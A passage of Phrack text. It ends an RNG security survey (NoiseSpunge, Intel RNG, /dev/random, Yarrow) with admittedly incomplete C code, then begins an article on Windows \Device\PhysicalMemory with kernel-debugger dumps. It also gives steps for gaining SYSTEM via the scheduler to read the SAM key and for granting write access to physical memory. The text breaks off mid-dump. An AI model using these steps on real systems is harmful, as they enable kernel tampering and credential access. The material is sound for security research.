the entropy source can be guarrentied to function properly, it is wise to
use the same tests on the raw entropy itself. By doing this you can achieve
a sufficient level of confidence about the randomness. A big speed-bump
stares you right in the eyes when you're trying to do this, however.
Entropy is often gathered at a very slow pace making the gathering of a
sufficiently large data sample extremely tedius and in some circumstances
it might not even be worthwhile. Whether this is the case or not, it is
logical to intellegently scrutinise entropy sources, rather than depending
on statistical tests (which cannot guarrenty anything) to find flaws (see

Evaluating an RNG's security is a complexe task with infinite means and
only one end: a break. The odds are always well stacked against an RNG. No
matter how many provisions are made to prevent breaks, new attacks will
always eventualy emerge from that RNG or another. Every aspect of the RNG
must be studied carefully, from entropy gathering right up to the delivery
of the RNG's output. Every component should be tested individualy and then
as a group. Tests include the possibility of hacks that can tamper with or
monitor entropy gathering, and cryptanalysis of mixing and output
functions. Most breaks are discovered under laboratory conditions. These
are called academic breaks and they usualy require very specific
conditions be met in order to function (usualy highly improbable). Finding
these breaks is a broad topic on its own and is beyond of the scope in
article. Successful breaks are usually the result of months (often years)
of pain-staking work done by cryptanalysts with years of experience. The
best thing to do is to carefully design the RNG from start to finish with
security in mind.

Even as the limits of mathematics and cryptanalysis are reached in testing,
advancements in sience could reak havoc on your RNG. For example, Tempest
scanning could be used by an attacker to follow keystrokes and mouse
positions. Discoveries can even be made in the analysis of white noise,
eventualy. These breaks are usualy found by scholars and professionals who
seek only to make their knowledge available before damage occurs. Not much
can be done to prevent attacks that are unknown. Finding an effective fix
quickly and learning from the is what is expected from developers.
Thankfully, these attacks emerge very rarely, but things are changing as
research increases.

Only the security analysis of the RNGs in section 2 will be discussed
because each has already been tested for and passed randomness analysis.

----| 2 Description of specific RNGs

2.1) NoiseSpunge's Design
Information Source: Uhhhh, I wrote it.

2.1.0) NoiseSpunge Overview

NoiseSpunge was specifically written for generating random 256bit keys
suitable for strong encryption. Gathering entropy for a single output
(256bits) requires a few seconds of mouse movement on the user's part. Its
structure is complex and computationaly expensive. NoiseSpunge is meant to
be a component within cryptosystems, and for that reason, special
consideration has to be made in order to prevent it from being a liability.
The trade off in this implementation is it would be clumsy at best if
large quantities of random data were needed regularly because it would
require intense user-interaction and it would consume too many CPU cycles.

2.1.1) NoiseSpunge Entropy Gathering

A PRNG is seeded with initial zeros. The PRNG then outputs a value used to
calculate the length of the interval used. When the interval is triggered,
the mouse position is checked for movement. If the mouse has moved since
the last trigger the PC's high-frequency clock is queried for its current
value. The 4 least significant bits are XORed with the 4 least significant
bits of the mouse's x & y coordinates. A new interval is then calculated
from the PRNG. The 4 bits produced are concatenated until 32 bits are
gathered and output. The 32bits are concatenated to the an entropy buffer
and also used to update the PRNG that sets the interval. The process is
then repeated. If the mouse has not moved, a new interval is set and the
process repeats until is has moved.  There is also a function that allows
the programmer to input 32bits of entropy at a time. This function is
suitable if there is a hardware entropy device or another known secure
source of entropy on a particular system. However, the use of another RNG's
output would be redundant if it is good and useless if it is bad.

2.1.2) NoiseSpunge Entropy Estimation

Entropy estimation is straight forward. The worst case scenario is assumed
with each input. Only 4bits are gathered for every mouse capture. No
further estimations are done because they would only yield results 4bits or
greater. Entropy estimation for the supplementary function that allows the
programmer to supply his own entropy requires the programmer to guarrantee
his entropy is of good quality; estimation of this input's entropy is left
in his hands.

2.1.3) NoiseSpunge Entropy Pool

The internal state comprises 762bit. There is a 256bit seed, a 256bit
primary hash, and a 256bit secondary hash. 256bit Haval is used as the
hashing function. When a 32bit block of entropy is added, it is appended to
a 256bit buffer. Once the buffer is full the primary hash is updated with
it. The seed is XORed with The primary hash's output unless this is the 8th
primary reseed. In that case, the primary hash's output is input into the
secondary hash and that hash's output is permuted (see bellow) and replaces
the seed. Seed permutation is accomplished by an expansion-compression.
32bit words of the seed are fed as a PRNG's random seed and used to output
two 32bit words. All 512bits of the PRNG's output are hashed and replace
the pool's seed. After every primary reseed, a KeyReserve counter is
incremented and capped at 8. The KeyReserve reperesents the number of
256bit groups of entropy that have been added to the internal state. This
KeyReserve is a rough estimate of when there is no longer any purpose to
adding entropy into the pool and the entropy gathering thread can be paused
(until the RNG outputs).

2.1.4) NoiseSpunge Output Function

There are 2 methods provided for the RNG's output: safe and forced. A safe
output makes sure the KeyReserve is not zeroed and decrements it after
output. A forced output ignores the KeyReserve. To output, the seed is
copied to a temporary buffer and is then permuted. The new seed is used a
key to initialize Rijndael (symmetric block cipher). The temporary buffer
is encrypted with Rijndael and then permuted with an expansion-compression
(the same way the seed is). This is repeated for N rounds (chosen by the
programmer) and the buffer is then output.

2.1.5) NoiseSpunge Analysis

[1] The heavy relyance upon mouse movement could _starve_ the entropy pool
if the mouse is not in use for an extended period of time. However, a
counter prevents output when entropy is low.

[2] The programmer could forcefully input poor quality entropy and weaken
the RNG's internal state.

[3] There are no provisions for systems without high-resolution timers.

[4] Even though the pool's internal state is 762bits long, there is a
maximum of 256bits of entropy at any state. (The other bits are only there
to prevent back-tracking and to obfuscate the seed). That makes this RNG
only suitable when small amounts of secure random data are needed.

2.2) Intel RNG's Design
Information Source: Intel Random Number Generator White Paper *1

2.2.0) Intel RNG Overview

The Intel RNG is system-wide. It is designed to provide good quality random
data in massive quantities to any software that requires it. It's average
throughput is 75Kb/s (bits). The Intel Security Driver provides a bridge
between the middleware (CDSA, RSA-BSAFE, and Microsoft CryptoAPI) that will
serve out the random numbers to requesting applications and the hardware.
The hardware portion is in Intel's 810 chipset, and will be in the 82802
Firmware Hub Device for all future 8xx chipsets.

{WARNING: these are some of my personal opinions; take them with a grain of
Intel has chosen to eloquantly label its RNG as a TRNG (True Random Number
Generator), but then they go on to call it an RNG through the rest of the
paper. Thechnicaly there is no fundamental difference that sets it asside
from any other good RNG; it is a label for hype and has nothing to do with
its ability to produce random numbers (RNG==TRNG & TRNG==RNG). As for your
daily dose of corporate assurance: "The output of Intel RNG has completed
post-design validation with Cryptography Research Inc. (CRI) and the
Federal Information Processing (FIPS) Level 3 test for statistical
randomness (FIPS 140-1)." I find it reassuring that a company (CRI) has
analyzed and is supporting this RNG. That isn't something you see very
often. On the other hand FIPS140-1 is just another hype generator. After
reading FIPS140-1, one realises it has absolutely NOTHING to do with the
quality of the RNG, but hey! Who cares? Microsoft seems to think it's good
enough to use in their family of _high_quality_and_security_ products, so
it must be great. All kidding asside, despite the corporate stench, this
RNG is well designed and will prevent many RNG blunders such as Netscape's.
I think this is a step in the right direction. Rather than letting Joe,
Timmy his cousin, and Timmy's best friend's friend design their own RNGs,
they provide a good solution for everyone without having them trip on their
own feet like Netscape did.

2.2.1) Intel RNG Entropy Gathering

Intel's Random Number Generator is to be integrated into PC motherboards.
There are 2 resistors and 2 oscillators (one slow, the other fast). The
voltage difference between the 2 resistors is amplified to sample thermal
noise. This noise source is used to modulate the slow clock. This clock
with variable modulation is used to set intervals between measurements of
the fast clock. When the interval is triggered the frequency of the fast
clock is then filtered through what Intel calls the von Neumann corrector
(patent pending). The corrector compensates for the fast clocks bias
towards staying in fixed bit states (regardless of the slow clock's
variable modulation). It works by comparring pairs of bits and outputing
only one or no bits ([1,0]=0; [0,1]=1; [0,0]or[1,1]=no output;). The
output of the corrector is grouped in 32bit blocks and sent to the Intel
Security Driver.

2.2.2) Intel RNG Entropy Estimation

No estimations are done for a few reasons. Because the entropy source is
hardware based, it cannot be manipulated unless it is put into temperatures
far beyond or bellow resonable ambient conditions, or the computer's power
is cut off (in which case the entropy gathering stops). Beyond that, all
entropy is gathered in the same way and can be assumed of identical

2.2.3) Intel RNG Entropy Pool

The Intel Security Driver takes care of mixing the RNG's output. The pool
is composed of 512bits of an SHA-1 hash contexts divided into two states.
An 80bit hash of the first state is generated and appended with 32 bits of
entropy (from the hardware) and the first 160bits from the first state to
create the second state. When another 32bits of entropy are generated, the
second state becomes the first state and the same process is repeated.

2.2.4) Intel RNG Output Function

The last 16bits of the 80bit hash of the first state are output to the
middleware. The Intel Security Driver ensures that each output is
dispatched only once. If desired, additional processing of the output will
have to be done by the program that requested the random data.

2.2.5) Intel RNG Analysis

[1] The need to implement the von Neumann corrector is demonstration of
the RNG's affinity for repetitive sequences. An attacker could calculate
when 1s or 0s are disproportionatly output by estimating it's throughput
in bits/sec, but this doesn't lead to any feasable attacks (yet).

[2] The use of contracted middleware may lead to security holes. Before
using a company's middleware, you may want to wait a few months just to
see if a quick break is released.

2.3) Linux' /dev/random's Design
Information Source: /dev/random source code *2

2.3.0) /dev/random Overview

Linux provides the /dev/random character device as an interface for
applications to recieve random data with good quality entropy. It provides
a gernourously sized entropy pool (512 bytes) to accomodate the operating
system and all software running on it. When quality entropy is not
necessary, a second character device /dev/urandom is provided as a PRNG to
avoid wastefully depleting /dev/random's entropy pool.

2.3.1) /dev/random Entropy Gathering

External functions from the kernel trigger the addition of entropy into the
pool. Events that trigger this are key presses, mouse movement, and IRQs.
Uppon each trigger, 32bits of a high-frequency timer are copied, and
another 32bits are derrived depending on the type of trigger (either the
mouse coordinates, keybaord scancode, or IRQ number).

2.3.2) /dev/random Entropy Estimation

Entropy estimation is calculated with the help of three deltas. Delta1 is
the time elapsed since the last trigger of its type occured. Delta2 is the
difference between Delta1 and the previous Delta1. Delta3 is the difference
between Delta2 and the previous Delta2. The smallest of the three deltas
calculated is chosen as Delta. The least significant bit of Delta is
ignored and the next 12bits are used to increment the entropy counter.

2.3.3) /dev/random Entropy Pool

This RNG uses an entropy pool of 4096bits. Prior to input, a marker
denoting the current position along the pool is decremented by 2 32bit
words. If the position is 0, the position is wrapped around backwards to
the second last 32bit word. Entropy is added in two 32bit words: x & y. A
variable, j determines how many bits to the left the entropy should be
rotated. Before entropy is added, j is incremented by 14 (7 if the pool is
in position 0). Entropy is rotated by j. Depending on the current position
along the pool, y is XORed with 5 other fixed portions of the pool (the
following positions are wrapped around from the current position: 103,76,
51,25,1 (for a 4096bit pool) and x is XORed with each next word. x is
shifted to the right 3bits, XORed by a constant within a 1x7 table (0,
0x3b6e20c8, 0x76dc4190, 0x4db26158, 0xedb88320, 0xd6d6a3e8, 0x9b64c2b0,
0xa00ae278) the index of which is chosen by x AND 7 (bitwise, 3bits). x
XOR y is then appended to the pool skipping one word. y is shifted to the
right 3bits, XORed with the constant table the same way x was and then
copied into the word that was skipped in the pool. The pool remains at
this position (previous position - 2, possibly wrapped around the end).

2.3.4) /dev/random Output Function

When output is requested from the RNG, the timer and the number of bytes
requested is added to the pool as entropy. The pool is then hashed with
SHA-1 and the first 2 words of the hash are fed as entropy into the pool;
this is repeated 8 times, but each time the next 2 words of the hash are
fed into the pool. The first half of the final hash is then XORed to its
second half to produce the output. The output is either the requested size
or 20 bytes (half the hash size); the smallest of these is chosen.

2.3.5) Linux' /dev/random Analysis

[1] Monitoring and predicting of some IRQs is possible in a networked

[2] There is allot of redundancy in the lower 16bits of the entropy added.
For example, when a keypress occurs a 32bit variable holds 16bits from a
high-resolution timer, and the lower 16 bits are 0-255 for the keypress
(256+ are used to designate interupts). This leaves 8bits of redundancy
for every keypress.

[3] The time elapsed since the last block of entropy was added is usually
irrelevent to the quality of the entropy, unless that lapse is very short.
This doesn't take into account sequencial entropy entries like continuous
disk access while moving a file.

[4] When output occurs, the mixing mechanism re-enters allot of hashed
entropy which may or may not be of good quality. These re-entered words
are added to the entropy count but should not. They are bits of entropy
that have already been counted. After output, 512bits of entropy are
redundantly entered. If this estimate is accurate, then after 8 calls to
output there are 4096bits (the entire pool) of entropy of undifinable
quality. Under these circumstances, if no entropy is input from
user-interacting during the calls, the RNG becomes a PRNG.

2.4) Yarrow's Design
information sources: Yarrow source code and White Papers *3,*4

2.4.0) Yarrow Overview

Yarrow is designed by Bruce Schneier, auther of Applied Cryptography and
designer of block ciphers Blowfish and AES finalist Twofish. Yarrow is
Schneier's interpretation of the proper design of an RNG and is accompanied
by a detailed paper descibing its inner-workings and analysis (see the
second information source). It is the product of lengthy research and sets
standard in properties expected to be found in a secure RNG. It is
discussed here for comparisson between commonly trusted RNGs and one
designed by a seasoned proffessional.

2.4.1) Yarrow Entropy Gathering

System hooks wait for keyboard or mouse events. If a key has been pressed,
the time elapsed since the last key-press is appended to an array. The same
is done when a mouse button has been pressed. If the mouse has moved, the
x and y coordinates are appended to a mouse movement array. Once an array
is full is is passed to the entropy estimation function.

2.4.2) Yarrow Entropy Estimation

The entropy estimation function is passed an estimated number of bits of
entropy chosen by the programmer's bias towards it's source. One could
decide that that mouse movement only represents 4 bits of entropy per
movement, while keyboard latency is worth 8bits per key-press. Another
measurement uses a small compression algorithm and measures the compressed
size. The third and last measurement is half the size of the entropy
sample. The smallest of these three measurements increments the entropy

2.4.3) Yarrow Entropy Pool

When entropy is input, it is fed into a fast pool (SHA-1 context) and an
entropy estimate is updated for that pool. Once the pool has accumulated
100bits of entropy, the hash output of this pool is fed into the slow pool
and its entropy estimate is updated. When the slow pool has accumulated
160bits of entropy it's hash output becomes the current key.

2.4.4) Yarrow Output Function

When output is required, the current key (derived from the slow pool)
encrypts a counter (its number of bits is chosen by the programmer) and
outputs the ciphertext; the counter is then incremented. After 10 outputs,
the RNG reseeds the key by replacing it with another (forced) output. The
key will next be reseeded either when the slow pool has accumulated 160bits
or 10 outputs have occured.

2.4.5) Yarrow Analysis

[1] Mouse movement on its own is very redundant, there is a very limited
range of motion between the last postion and the current position after
the OS has sent the message that the mouse has moved. Most of the bits
representing the mouse's position are unlikely to change and throw-off the
entropy estimates in this RNG.

[2] Even though the pool's internal state is 320+n+kbits long, there is a
maximum of 160bits of entropy during any state. "Yarrow-160, our current
construction, is limited to at most 160 bits of security by the size of
its entropy accumulation pools." *4

----| 3) NoiseSpunge Source Code

The Following source code is simply a brief example. Do whatever you want
with it; even that thing you do with your tongue and the rubber ... never
mind. It _WILL_NOT_COMPILE_ because about 1,200 lines have been omitted,
consisting of Haval, Rijndael and the PRNG). Haval and Rijndael source
code is readily available. Any PRNG will do, but make sure it works with
32bit inputs and outputs and has a period of at least 2^32 (4294967296).
I've devided it into 3 chunks: entropy gathering, entropy pool, output


This loop must run on a thread independent of the application's main
thread. For OS dependancies, I've created dummy functions that should be

int64 CounterFreq; //high-res counter's frequency/second
int64 QueryCounter; //high-res counter's current value
Delay(int ms); //1 milisecond precision delay
int GetMouseX; //current mouse x coordinate
int GetMouseY; // " y coordinate


 Prng_CTX PCtx;
 int x,y;
 unsigned long Block;
 unsigned long BitsGathered;
 int65 Interval,Frequency,ThisTime,LastTime;

 unsigned long BitsGathered=0;
 bool Idled=false;
 bool Terminated=false; //Set value to true to end the loop
    if (Idled==false)
    if ((ThisTime-LastTime)>Interval)
       if ((x!=GetMouseX)&&(y!=GetMouseY)
          Block|=((x^y^ThisTime)& 15)<<BitsGathered;
          if (BitsGathered==32)
             AddEntropy(Block); //this function is defined lower
             * Frequency)/1000;
 } while (Terminated==false);


#define SEED_SIZE 8


typedef unsigned long Key256[SEED_SIZE];

Key256 Seed;
Key256 EntropyBuffer;
Haval_CTX PrimaryPool;
Haval_CTX SecondaryPool;
unsigned char PrimaryReseedCount;
unsigned char EntropyCount;
unsigned char KeyReserve;

void NoiseSpungeInit
 for (int i=0;i<8;i++) Seed[i]=0;

void PermuteSeed
 Key256 TempBuffer[2];
 Prng_CTX PCtx;
 Haval_CTX HCtx;

 for (int i=0;i<SEED_SIZE;i++) //expand

 HavalUpdate(&HCtx,&TempBuffer,64); //compress

void PrimaryReseed
 Key256 TempSeed;

 if (PrimaryReseedCount<SECONDARY_RESEED)
    for (int i=0;i<SEED_SIZE;i++) Seed[i]^=TempSeed[i];
 } else SecondaryReseed;

 for (int i=0;i<SEED_SIZE;i++) EntropyBuffer[i]=0;
 if (KeyReserve<MAX_KEY_RESERVE) KeyReserve++;

void SecondaryReseed

void AddEntropy(unsigned long Block)
 if (EntropyCount==PRIMARY_RESEED) PrimaryReseed;


int SafeGetKey(Key256 *Key)
 Key256 TempSeed;
 Key256 TempBuffer[2];
 Rijndael_CTX RCtx;
 Prng_CTX PCtx;
 Haval_CTX HCtx;

 if (KeyReserve==0) Return 0;

 for (int i=0;i<SEED_SIZE;i++) TempSeed[i]=Seed[i];
 for (int i=0;i<KEY_BUILD_ROUNDS;i++)
    RijndaelEncrypt(&RCtx,&TempSeed[0]); //encrypt
    for (int j=0;j<SEED_SIZE;j++) //expand
 for (int i=0;i<SEED_SIZE;i++) Key[i]=TempSeed[i];
 if (KeyReserve>0) KeyReserve--;
 Return 1;

void ForcedGetKey(Key256 *Key)
 Key256 TempSeed;
 Key256 TempBuffer[2];
 Rijndael_CTX RCtx;
 Prng_CTX PCtx;
 Haval_CTX HCtx;

 for (int i=0;i<SEED_SIZE;i++) TempSeed[i]=Seed[i];
 for (int i=0;i<KEY_BUILD_ROUNDS;i++)
    RijndaelEncrypt(&RCtx,&TempSeed[0]); //encrypt
    for (int j=0;j<SEED_SIZE;j++) //expand
 for (int i=0;i<SEED_SIZE;i++) Key[i]=TempSeed[i];
 if (KeyReserve>0) KeyReserve--;

----| 4) References

*1 Intel Random Number Generator White Paper

*2 /dev/random source code

*3 Yarrow source code

*4 Yarrow-160: Notes on the Design and Analysis of the Yarrow
  Cryptographic Pseudorandom Number Generator


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x10 of 0x12

|=----------------=[ Playing with Windows /dev/(k)mem ]=-----------------=|
|=---------------=[ crazylord <> ]=---------------=|

1 - Introduction

2 - Introduction to Windows Objects
  2.1 What are they ?
  2.2 Their structure
  2.3 Objects manipulation
3 - Introduction to \Device\PhysicalMemory
  3.1 The object
  3.2 Need writing access ?
4 - Having fun with \Device\PhysicalMemory
  4.1 Reading/Writing to memory
  4.3 What's a Callgate ?
  4.4 Running ring0 code without the use of Driver
  4.2 Deeper into Process listing
  4.5 Bonus Track
5 - Sample code
   5.1 kmem.h
   5.2 chmod_mem.c
   5.3 winkdump.c
   5.2 winkps.c
   5.4 fun_with_ipd.c

6 - Conclusion

7 - References

--[ 1 - Introduction

This papers covers an approch to Windows /dev/kmem linux like object. My 
research has been done on a Windows 2000 professional version that means 
that most of the code supplied with the article should work with all 
Windows 2000 version and is supposed to work with Windows XP with little 
code modification.
Windows 9x/Me are clearly not supported as they are not based on the same 
kernel architecture.

--[ 2 - Introduction to Windows Objects

Windows 2000 implements an object models to provide a way of easy 
manipulating the most basic elements of the kernel. We will briefly see in 
this chapter what are these objects and how we can manipulate them.

----[ 2.1 What are they ?

According to Microsoft, the object manager was designed to meet these goals
   * use named object for easy recognition
   * support POSIX subsystem
   * provide a easy way for manipulating system resources
   * provide a charge mechanism to limit resource used by a process
   * be C2 security compliant :) (C2: Controlled Access Protection)

There are 27 differents objects types:

   * Adapter       * File             * Semaphore
   * Callback      * IoCompletion     * SymbolicLink
   * Controler     * Job              * Thread
   * Desktop       * Key              * Timer
   * Device        * Mutant           * Token
   * Directory     * Port             * Type
   * Driver        * Process          * WaitablePort
   * Event         * Profile          * WindowStation
   * EventPair     * Section          * WmiGuid

Most of these names are explicit enough to understand what's they are 
about. I will just explain some obscure names:
   * an EventPair is just a couple of 2 Event objects.
   * a Mutant also called Mutex is a synchronization mechanism for resource
   * a Port is used by the LPC (Local Procedure Call) for Inter-Processus 
   * a Section (file mapping) is a region of shared memory.
   * a Semaphore is a counter that limit access to a resource.
   * a Token (Access Token) is the security profile of an object.
   * a WindowStation is a container object for desktop objects.

Objects are organised into a directory structure which looks like this:

   - \
     - ArcName                 (symbolic links to harddisk partitions)
     - NLS                     (sections ...)
     - Driver                  (installed drivers)
     - WmiGuid
     - Device                  (/dev linux like)
       - DmControl
         - RawDmVolumes
       - HarddiskDmVolumes
         - PhysicalDmVolumes
     - Windows
       - WindowStations
     - RPC Control
     - BaseNamedObjects
       - Restricted
     - ??                      (current user directory)
     - FileSystem              (information about installable files system)
     - ObjectTypes             (contains all avaible object types)
     - Security
     - Callback
     - KnownDlls               (Contains sections of most used DLL)

The "??" directory is the directory for the current user and "Device" could
be assimiled as the "/dev" directory on Linux. You can explore these 
structures using WinObj downloadable on Sysinternals web sites (see [1]).

----[ 2.2 Their structure

Each object is composed of 2 parts: the object header and the object body.
Sven B. Schreiber defined most of the non-documented header related 
structures in his book "Windows 2000 Undocumented Secrets". Let's see the
header structure.

from w2k_def.h:

typedef struct _OBJECT_HEADER {
/*000*/ DWORD        PointerCount;       // number of references
/*004*/ DWORD        HandleCount;        // number of open handles
/*008*/ POBJECT_TYPE ObjectType;         // pointer to object type struct
/*00C*/ BYTE         NameOffset;         // OBJECT_NAME offset
/*00D*/ BYTE         HandleDBOffset;     // OBJECT_HANDLE_DB offset
/*00E*/ BYTE         QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset
/*00F*/ BYTE         ObjectFlags;        // OB_FLAG_*
/*010*/ union
        { // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock
/*010*/    PQUOTA_BLOCK        QuotaBlock;
/*010*/    POBJECT_CREATE_INFO ObjectCreateInfo;
/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;

Each offset in the header are negative offset so if you want to find the 
OBJECT_NAME structure from the header structure, you calculate it by doing:
             address = object_header_address - name_offset

OBJECT_NAME structure allows the creator to make the object visible to 
other processes by giving it a name.
OBJECT_HANDLE_DB structure allows the kernel to track who is currently 
using this object.
OBJECT_QUOTA_CHARGES structure defines the resource charges levied against 
a process when accessing this object.
The OBJECT_TYPE structure stocks global informations about the object type 
like default security access, size of the object, default charge levied to 
process using an object of this type, ...

A security descriptor is bound to the object so the kernel can restrict 
access to the object.

Each object type have internal routines quite similar to C++ object 
constructors and destructors:
   * dump method       - maybe for debugging purpose (always NULL)
   * open method       - called when an object handle is opened
   * close method      - called when an object handle is closed
   * delete method     - called when an object is deleted
   * parse method      - called when searching an object in a list of              
   * security method   - called when reading/writing a protection for the 
                         current object
   * query name method - called when a thread request the name of the         
   * "ok to close"     - called when a thread is closing a handle

The object body structure totally depends on the object type.
A very few object body structure are documented in the DDK. If you are
interested in these structures you may google :) or take a look at 
chapeaux-noirs home page in the kernel_reversing section (see [4]).

---- [ 2.3 Object manipulation

On the user-mode point of view, objects manipulation is done through the 
standart Windows API. For example, in order to access a file object you can
use fopen()/open() which will call CreateFile(). At this point, we switch 
to kernel-mode (NtCreateFile()) which call IoCreateFile() in ntoskrnl.exe.
As you can see, we still don't know we are manipulating an "object".
By disassembling IoCreateFile(), you will see some function like 
ObOpenObjectByName, ObfDereferenceObject, ...

(By the way you will only see such functions if you have win2k symbols
downloadable on Microsoft DDK web site (see [2]) and disassemblingbwith a
disassembler supporting Windows Symbols files like IDA/kd/Softicevbecause
these functions are not exported.)

Each function's name begining with "Ob" is related to the Object Manager.
So basically, a standart developper don't have to deal with object but we
want to.

All the object manager related function for user-mode are exported by 
ntdll.dll. Here are some examples:
NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,
NtMakeTemporaryObject, NtOpenDirectoryObject, ...
Some of these functions are documented in the MSDN some (most ?) are not.

If you really want to understand the way object works you should better
take a look at the exported function of ntoskrnl.exe beginning with "Ob".
21 functions exported and 6 documented =]

If you want the prototypes of the 15 others, go on the ntifs.h home page
(see [3]) or to chapeaux-noirs web site (see [4]).

--[ 3 - Introduction to \Device\PhysicalMemory

As far as i know, \Device\PhysicalMemory object was discovered by 
Mark Russinovich from Sysinternals (see [1]). He coded the first code using
it : Physmem avaible on his site. Enough greeting :), now we will try to 
understand what is this object used for and what we can do with it.

----[ 3.1 - the object

In order to look at the object information, we are going to need a tool 
like the Microsoft Kernel Debugger avaible in the Microsoft DDK (see [2]).
Ok let's start working ...

Microsoft(R) Windows 2000 Kernel Debugger
Version 5.00.2184.1
Copyright (C) Microsoft Corp. 1981-1999

Symbol search path is: c:\winnt\symbols

Loading Dump File [livekd.dmp]
Full Kernel Dump File

Kernel Version 2195 UP Free
Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0
Loaded kdextx86 extension DLL
Loaded userkdx extension DLL
Loaded dbghelp extension DLL
f1919231 eb30             jmp     f1919263
kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
The basic object parser from kd (kernel debugger) tells us some information
about it. No need to explain all of these field means, most of them are 
explicit enough if you have readen the article from the beginning if not 
"jmp dword Introduction_to_Windows_Objects".
Ok the interesting thing is that it's a Section type object so that 
clearly mean that we are going to deal with some memory related toy.

Now let's dump the object's header structure.
kd> dd e1001228 L 6
dd e1001228 L 6
e1001228  00000003 00000000 fd038880 12200010
e1001238  00000001 e1008bf8

--> 00000003 : PointerCount = 3
--> 00000000 : HandleCount  = 0
--> fd038880 : pointer to object type = 0xfd038880
--> 12200010 --> 10 : NameOffset
             --> 00 : HandleDBOffset
             --> 20 : QuotaChargeOffset
             --> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE
--> 00000001 : QuotaBlock
--> e1008bf8 : SecurityDescriptor           

Ok the NameOffset exists, well no surprise, this object has a name .. but 
the HandleDBOffset don't. That means that the object doesnt track handle 
assigned to it. The QuotaChargeOffset isn't really interesting and the 
ObjectFlags tell us that this object is permanent and has been created by 
the kernel.
For now nothing very interesting ...

We dump the object's name structure just to be sure we are not going the
wrong way :). (Remember that offset are negative).

kd> dd e1001228-10 L3
dd e1001228-10 L3
e1001218  fd038970 001c001c e1008ae8

--> fd038970 : pointer to object Directory
--> 001c001c --> 001c : UNICODE_STRING.Length
             --> 001c : UNICODE_STRING.MaximumLength
--> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd> du e1008ae8
du e1008ae8
e1008ae8  "PhysicalMemory"

Ok now, let's look at the interesting part, the security descriptor:

kd> !sd e1008bf8
!sd e1008bf8
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x44
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x000f001f
->Dacl    : ->Ace[0]: ->SID: S-1-5-18

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x0002000d
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

In other words that means that the \Device\PhysicalMemory object has this 
following rights:

user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,
             Query State, Modify State
user Administrator: Query Data, Query State

So basically, user Administrator as no right to Write here but user 
SYSTEM do, so that mean that Administrator does too.

You have to notice that in fact THIS IS NOT LIKE /dev/kmem !!
/dev/kmem maps virtual memory on Linux, \Device\PhysicalMemory maps 
physical memory, the right title for this article should be "Playing with 
Windows /dev/mem" as /dev/mem maps physical memory but /dev/kmem sounds
better and much more wellknown :).
As far as i know the Section object body structure hasn't been yet reversed 
as i'm writing the article so we can't analyze it's body.

----[ 3.2 need writing access ?

Ok .. we are user administrator and we want to play with our favourite
Object, what can we do ? As most Windows administrators should know it is
possible to run any process as user SYSTEM using the schedule service.
If you want to be sure that you can, just start the schedule with 
"net start schedule" and then try add a task that launch regedit.exe
c:\>at <when> /interactive regedit.exe
After that try to look at the SAM registry key, if you can, you are user 
SYSTEM otherwise you are still administrator since only user SYSTEM has 
reading rights.

Ok that's fine if we are user Administrator but what's up if we want to 
allow somebody/everyone to write to \Device\PhysicalMemory
(for learning purpose off course).
We just have to add another ACL (access-control list) to this object.
To do this you have to follow these steps:

   1) Open a handle to \Device\PhysicalMemory (NtOpenSection)
   2) Retrieve the security descriptor of it (GetSecurityInfo)
   3) Add Read/Write authorization to the current ACL (SetEntriesInAcl)
   4) Update the security descriptor (SetSecurityInfo)
   5) Close the handle previously opened

see chmod_mem.c sample code.

After having run chmod_mem.exe we dump another time the security descriptor
 of \Device\PhysicalMemory.

kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
kd> dd e1001228+0x14 L1
dd e1001228+0x14 L1
e100123c  e226e018
kd> !sd e226e018
!sd e226e018
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x68
->Dacl    : ->AceCount   : 0x3
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x24
->Dacl    : ->Ace[0]: ->Mask : 0x00000002
->Dacl    : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x14
->Dacl    : ->Ace[1]: ->Mask : 0x000f001f
->Dacl    : ->Ace[1]: ->SID: S-1-5-18

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
